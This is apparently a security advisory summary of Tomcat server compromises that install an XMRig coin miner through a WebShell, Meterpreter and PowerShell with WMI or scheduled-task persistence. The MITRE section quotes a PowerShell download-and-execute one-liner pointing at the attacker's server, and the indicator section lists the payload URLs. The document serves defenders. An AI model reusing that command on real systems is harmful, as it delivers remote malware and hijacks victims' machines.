Two security analyses reveal attacks against vulnerable Apache Tomcat servers that are not up to date, using JexBoss to install a WebShell and gain control with Meterpreter. The attackers then use a Base64-encoded PowerShell downloader to fetch and run scripts, ultimately installing an XMRig CoinMiner with persistence via WMI or Task Scheduler and downloading payloads from Pastebin. #CoinMiner #XMRig #JexBoss #Meterpreter #WebShell #PowerShell #Pastebin #RAR_SFX #Tomcat #ApacheTomcat #AhnLab #ASEC
Keypoints
- The Tomcat server, if not updated, is a major attack vector used to exploit vulnerabilities and install a WebShell, enabling attacker control.
- Attackers employ a PowerShell downloader encoded in Base64, which retrieves and executes scripts from remote sources.
- The PowerShell script registers persistence via WMI event monitoring or the Windows Task Scheduler, depending on SYSTEM permissions.
- The downloaded payload installs the XMRig CoinMiner and its config, including a mining pool address and credentials, linking the activity to cryptocurrency mining.
- The operation includes service and task scheduler termination to evade defenses and even shows an infected login page belonging to a Korean company’s system.
- Recommendations emphasize updating Tomcat and Windows security measures, credential hygiene, restricted external access, and keeping security products up to date (e.g., V3 by AhnLab).
MITRE Techniques
- [T1190] Exploit Public-Facing Application – The Tomcat server that has not been updated to the latest version is one of the major attack vectors that exploit vulnerabilities. “The Tomcat server that has not been updated to the latest version is one of the major attack vectors that exploit vulnerabilities.”
- [T1059.001] PowerShell – The PowerShell command executed by the Tomcat process is encoded with Base64 and is used to download and execute a script: “IEX (New-Object System.Net.Webclient).DownloadString(‘hxxp://61.103[.]177.229:8000/css/ta.txt’)”
- [T1105] Ingress Tool Transfer – The downloader script downloads and executes additional PowerShell commands from external sources (e.g., Pastebin): “PowerShell script that is downloaded and executed first registers the PowerShell command to the WMI event monitoring method or the task scheduler…”
- [T1047] Windows Management Instrumentation – Persistence via WMI event subscriptions when the PowerShell command is registered to WMI for ongoing execution: “registers the PowerShell command to the WMI event monitoring method…”
- [T1053.005] Scheduled Task – Persistence via Task Scheduler when SYSTEM permissions are insufficient for WMI persistence: “or the task scheduler depending on whether it currently has the SYSTEM permission or not”
- [T1496] Resource Hijacking – The downloaded payload installs XMRig CoinMiner and config files for cryptocurrency mining: “downloads and installs the XMRig CoinMiner and config files from an external source.”
Indicators of Compromise
- [MD5] context – 12799b5f179c7d84122a79fc2d4e2629, 1925ba565905e6b0e6c2b2f55f9fee96, and 5 more hashes
- [URL] context – hxxp://61.103.177[.]229:8000/css/ta.txt, hxxp://61.103.177[.]229:8000/js/xmrig.exe, hxxp://61.103.177[.]229:8000/css/config.json, and 2 more URLs
- [IP] context – 61.103.177.229:8000
- [File] context – config.json, ta.txt, and 1 more file (RAR SFX executable)
Read more: https://asec.ahnlab.com/en/40673/